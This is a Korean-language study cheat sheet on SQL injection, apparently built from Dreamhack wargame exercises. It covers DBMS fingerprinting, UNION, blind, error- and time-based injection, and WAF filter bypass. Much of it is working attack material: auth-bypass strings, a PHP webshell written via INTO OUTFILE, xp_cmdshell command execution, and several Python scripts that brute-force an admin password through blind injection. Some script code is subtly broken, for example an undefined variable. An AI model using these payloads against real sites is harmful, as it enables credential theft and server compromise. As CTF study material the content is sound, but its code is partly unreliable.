SQL Injection
DBMS
웹서비스는 DB에 정보를 저장하고, 이를 관리하기 위해 DBMS를 사용한다.
| 종류 | 대표적인 DBMS |
| Relational (관계형) | MySQL, MariaDB, PostgreSQL, SQLite |
| Non-Relational (비관계형) | MongoDB, CouchDB, Redis |
RDMS는 행과 열의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리한다.
DBMS Misconfiguration
계정 및 권한이 적절하게 분리되지 않았거나 부릴요한 기능의 활성화, 그리고 DB의 보안 설정이 미흡한 경우
주의사항
- 서버에서 DBMS를 작동할 때는 DBMS 전용 계정을 만들어 사용해야 한다. (루트 계정이나 www-data 등의 계정으로 X)
- 대소문자를 구분하지 않는 DBMS도 있으니 이를 확인해보자
MySQL
파일 관련된 작업을 할 때에는 mysql 권한으로 수행되며, "my.cnf" 설정 파일의 secure_file_priv 값에 영향을 받는다.
select @@secure_file_priv; # 권한 확인
load_file 함수는 전달된 파일을 읽고 출력한다 (절대 경로 입력)
select load_file('/var/lib/mysql-files/test');
SELECT ... INTO 형식의 쿼리는 쿼리 결과를 변수나 파일에 쓸 수 있다.
select '<?=`ls`?>' into outfile '/tmp/a.php';
MSSQL
xp_cmdshell 기능을 이용해 OS 명령어를 실행할 수 잇다. (SQL Server 2005 버전 이후부터는 거의 불가)
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell' # xp_cmdshell 활성화 여부
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
DBMS Fingerprinting
SQL Injection 취약점을 발견하면 먼저 DBMS의 종류와 버전을 알아내야 한다.
- 쿼리 실행 결과 출력
- 에러 메시지 출력
- 참 또는 거짓 출력
- 시간 지연 발생
MySQL
쿼리 실행 결과 출력
select @@version;
select version();
/* 5.7.29-0ubuntu0.16.04.1 */
에러 메시지 출력 : 아래의 예시에서 1222 에러코드는 MySQL 에서 명시한 코드이다.
select 1 union select 1, 2;
/* ERROR 1222 (21000): The used SELECT statements have a different number of columns */
참 또는 거짓 출력
# @@version => '5.7.29-0ubuntu0.16.04.', mid(@@version, 1, 1) => '5'
select mid(@@version, 1, 1)='5'; /* 1 */
시간 지연 발생
select mid(@@version, 1, 1)='5' and sleep(2); /* 0 (sleep 실행) */
PostgreSQL
쿼리 실행 결과 출력
select version();
/* PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit */
에러 메시지 출력
select 1 union select 1, 2;
/* ERROR: each UNION query must have the same number of columns */
참 또는 거짓 출력
# version() => 'PostgreSQL ...', substr(version(), 1, 1) => 'P'
select substr(version(), 1, 1)='P'; /* t */
select substr(version(), 1, 1)='Q'; /* f */
시간 지연 발생
select substr(version(), 1, 1)='P' and pg_sleep(10); /* 시간지연 */
MSSQL
쿼리 실행 결과 출력
select @@version;
/*
Microsoft SQL Server 2017 (RTM-CU13) (KB4466404) - 14.0.3048.4 (X64)
Nov 30 2018 12:57:58
Copyright (C) 2017 Microsoft Corporation
Developer Edition (64-bit) on Linux (Ubuntu 16.04.5 LTS)
*/
에러 메시지 출력
select 1 union select 1, 2;select 1 union select 1, 2;
/*
Msg 205, Level 16, State 1, Server e2cb36ec2593, Line 1
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.asdf
*/
참 또는 거짓 출력
# @@version => 'Microsoft SQL Server...', substring(@@version, 1, 1) => 'M'
select 1 from test where substring(@@version, 1, 1)='M'; /* 1 */
시간 지연 발생
select 1 where substring(@@version, 1, 1)='M' and waitfor delay '0:0:5';
SQLite
쿼리 실행 결과 출력
select sqlite_version();
/* 3.11.0 */
에러 메시지 출력
select 1 union select 1, 2;
/* Error: SELECTs to the left and right of UNION do not have the same number of result columns */
참 또는 거짓 출력
# sqlite_version() => '3.11.0', substr(sqlite_version(), 1, 1) => '3'
select substr(sqlite_version(), 1, 1)='3'; /* 1 */
select substr(sqlite_version(), 1, 1)='4'; /* 0 */
시간 지연 발생
select case when substr(sqlite_version(), 1, 1)='3' then LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))) else 1=1 end;
System Table Fingerprinting
SQL
SQL : RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어이다. (웹이 DBMS와 상화작용할 때 사용)
| 언어 | 설명 |
| DDL | 데이터를 정의하기 위한 언어. 스키마, DB의 생성/수정/삭제 등을 수행한다 |
| DML | 데이터를 조작하기 위한 언어. 실제 DB 내에 존재하는 데이터의 조회/저장/수정/삭제 등을 수행한다 |
| DCL | DB의 접근 궎나 등을 설정하기 위한 언어. GRANT (이용자 권한 부여), REVOKE(이용자 권한 박탈) |
DDL
데이터베이스 생성
CREATE DATABASE Gotroot;
테이블 생성
USE Gotroot;
CREATE TABLE Member(
idx INT AUTO_INCREMENT,
name VARCHAR(10) NOT NULL.
age INT NOT NULL,
PRIMARY Key(idx)
);
DML
테이블 데이터 생성
INSERT INTO Member(name, age) Values('Amy', 26);
INSERT
INTO boards (title, boardcontent)
VALUES ('title 1', (select upw from users where uid='admin'));
-> 서브쿼리를 통해 다른 테이블에 있는 데이터를 추가할 수도 있다.
테이블 데이터 조회
SELECT name, age FROM Member Where idx=1;
| ORDER BY | 조회한 결과를 원하는 컬럼 기준으로 정렬 |
| LIMIT | 조회환 결과에서 행의 갯수와 오프셋 지정 |
| like | 해당 문자가 포함되어 있는지 찾는다 (%abc% "abc문자가 포함되어 있는지) |
| / DESC | 오름차순 / 내림차순 |
테이블 데이터 변경
UPDATE Member SET age=23 WHERE idx=1;
테이블 데이터 삭제
DELETE FROM members where name='amy';
SQL Injection
SQL Injection : 이용자가 SQL 구문에 임의 문자열을 삽입하는 행위 -> 인증을 우회하거나 DB의 정보를 유출할 수 있다.
Form SQL Injection
' or 1=1--
UNION SQL Injection
과정
① ' 등을 넣어 서버 내부의 query문에 입력값이 영향을 주는 지 확인한다
② column 수 알아내기 (ex. ' order by 4-- )
③ data type이 string인 column 찾기 (ex. ' union select null, 'a', null-- )
④ 원하는 데이터 추출 (ex. ' union select username, password from users whrer useanme='admin'-- )
주의할점
- Oracle DB는 table을 지정하지 않으면 select문을 쓸 수 없다.
Blind SQL Injection
Blind SQL Injection : 질의 결과를 이용자가 직접 확인하지 못한다면 참/거짓 반환 결과로 데이터를 획득하는 공격 기법
ascii : 전달된 문자를 아스키 형태로 반환하는 함수 (32~126 : 알파벳, 숫자, 특수문자)
substr : 문자열에서 지정한 위치부터 길이까지의 값을 가져오는 함수
첫번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw='';
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw='';
두번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=114-- ' and upw='';
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw='';
정규 표현식 사용
정규표현식 regexp 구문을 사용하여 문자열을 찾을 수 있다.
uid=admin" and upw regexp 'p.*' --
uid=admin" and upw regexp 'pw.*' --
...
uid=admin" and upw regexp 'pw1337' --
GET method 공격 스크립트 예제
#!/usr/bin/python3
import requests
import string
url = 'http://example.com/login' # example URL
params = {
'uid': '',
'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
for ch in tc:
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
POST method 공격 스크립트 예제
import requests
url = "http://host1.dreamhack.games:17769/login"
length=0
while 1:
password = '" or (select length(userpassword) where userid="admin")='+str(length)+'-- '
data = {'userid': 'guest', 'userpassword': password}
res = requests.post(url, data=data)
if "wrong" in res.text:
length+=1
else:
print("password length = "+str(length))
break
pw=""
for i in range(1, length+1):
for j in range(0x20, 0x7F):
query = f'"or ((select substr(userpassword, {i}, 1) from users where userid="admin") = "{chr(j)}") --'
data = {'userid': 'guest', 'userpassword': query}
res = requests.post(url, data=data)
if res.text.find('hello') != -1:
pw+=chr(j)
break
print("password = "+pw)
Binary Search 스크립트 예제
#!/usr/bin/python3.7
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host3.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> requests.Response:
login_data = {
"userid": userid,
"userpassword": userpassword
}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low+high) // 2
if low+1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ''
for idx in range(1, pw_len+1):
query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))"
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
print(f"{idx}. {pw}")
return pw
def solve(self) -> None:
# Find the length of admin password
pw_len = solver._find_password_length("admin")
print(f"Length of the admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = solver._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
Bit 연산 스크립트 예제
from requests import get
url = "http://host1.dreamhack.games:14457/"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{url}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
password = ""
for i in range(1, password_length + 1):
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
Error based SQL Injection
Error based SQL Injection : 임의로 에러를 발생시켜 데이터베이스 및 운영 체제의 정보를 획득하는 공격
- DBMS에서 쿼리가 실행되기 전에 발생하는 에러가 아닌 런타임 에러가 필요하다!
extractvalue : 첫번째 인자로 전달된 XML 데이터에서 두번째 인자인 XPATH 식을 통해 데이터를 추출하는 함수
-> 두번째 인자가 올바르지 않은 XPATH 식이라면 에러메시지와 함께 그 결과를 반환한다.
SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
/* ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd' */
MYSQL
SELECT updatexml(null,concat(0x0a,version()),null);
SELECT extractvalue(1,concat(0x3a,version()));
/* ERROR 1105 (HY000): XPATH syntax error: '5.7.29-0ubuntu0.16.04.1-log' */
SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;
/* ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>' */
MSSQL
SELECT convert(int,@@version);
SELECT cast((SELECT @@version) as int);
/*
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2014 - 12.0.2000.8 (Intel X86)
Feb 20 2014 19:20:46
Copyright (c) Microsoft Corporation
Express Edition on Windows NT 6.3 <X64> (Build 9600: ) (WOW64) (Hypervisor)
' to data type int.
*/
Oracle
SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;
/*
ORA-20000: Oracle Text error:
DRG-11701: thesaurus Oracle Database 18c Express Edition Release 18.0.0.0.0 - Production does not exist
ORA-06512: at "CTXSYS.DRUE", line 183
ORA-06512: at "CTXSYS.DRITHSX", line 555
ORA-06512: at line 1
*/
Error based Blind SQL Injection
'+||+(SELECT+CASE+WHEN+(1=1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')--+
-> case when 뒤의 조건식이 참이라면 to_char(1/0)을 실행하여 에러가 나고, 거짓이라면 에러가 나지 않는다.
Time based SQL Injection
Time based SQL Injection : 시간 지연을 이용해 쿼리의 참/거짓 여부를 판단하는 공격 기법
MySQL
SELECT SLEEP(1);
SELECT BENCHMARK(40000000,SHA1(1));
SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
MSSQL
SELECT '' if((select 'abc')='abc') waitfor delay '0:0:1';
select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)
SQLite
SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1500000000/2))));
Bypass WAF
탐지 우회
대소문자 검사 미흡
UniOn SeLecT 1,2,3;
탐지 과정 미흡
"union" 이라는 문자열을 탐지하고 공백으로 치환할경우
UNunionION SELselectECT 1,2 --
문자열 검사 미흡
reverse와 concat 함수를 이용해 문자열을 뒤집거나 이어붙이며 16진수를 사용해 임의의 문자열을 완성한다.
SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;
연산자 검사 미흡
"and", "or"과 같은 연산자를 "&&", "||"로 우회할 수 있다. 이 외에도 ^, =, !=, %, /, *, &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL 등의 연산자를 사용할 수 있다.
공백 탐지
이름, 생년월일과 같은 항목은 공백이 필요하지 않기때문에, 공백을 허용하지 않는 경우가 많다.
SELECT/**/'abc'; # 주석을 이용한 우회
select`username`,(password)from`users`WHERE`username`='admin'; # Back Quote를 이용한 우회
아니면 URL Encoding(%09) 값 or 괄호 사용하기
MySQL 우회 기법
MySQL 진법 or 함수를 이용한 문자열 검사 우회
select 0x6162, 0b110000101100010;
select char(0x61, 0x62);
select concat(char(0x61), char(0x62));
/* ab */
주석 구문 실행
WAF은 /*___*/ 문자열을 주석으로 인식하고 쿼리 구문으로 해석하지 않는다.
반면에 MySQL은 /*!___*/ 은 쿼리의 일부로 실행한다
select 1 /*!union*/ select 2;
PostgreSQL 우회 기법
PostgreSQL 함수를 이용한 문자열 검사 우회
select chr(65); /* A */
select concat(chr(65), chr(66)); /* AB */
MSSQL 우회 기법
MSSQL 함수를 이용한 문자열 검사 우회
select char(0x61); /* a */
select concat(char(0x61), char(0x62)); /* ab */
SQLite 우회 기법
SQLite 함수를 이용한 문자열 검사 우회
select char(0x61); /* a */
select char(0x61)||char(0x62); /* ab */
구문 검사 우회
SELECT 구문을 사용하지 못하면 원하는 값을 반환하지 못한다. 이 때,UNION VALUES(num)을 이용하자.
select 1 union values(2);
그 외의 주목할 만한 점
row(1,1) 함수를 이용하면 칼럼의 개수를 조절할 수 있다.
참고 : https://www.notion.so/counting-query-0bad32d2efa94ce9b2eb346138b1fe16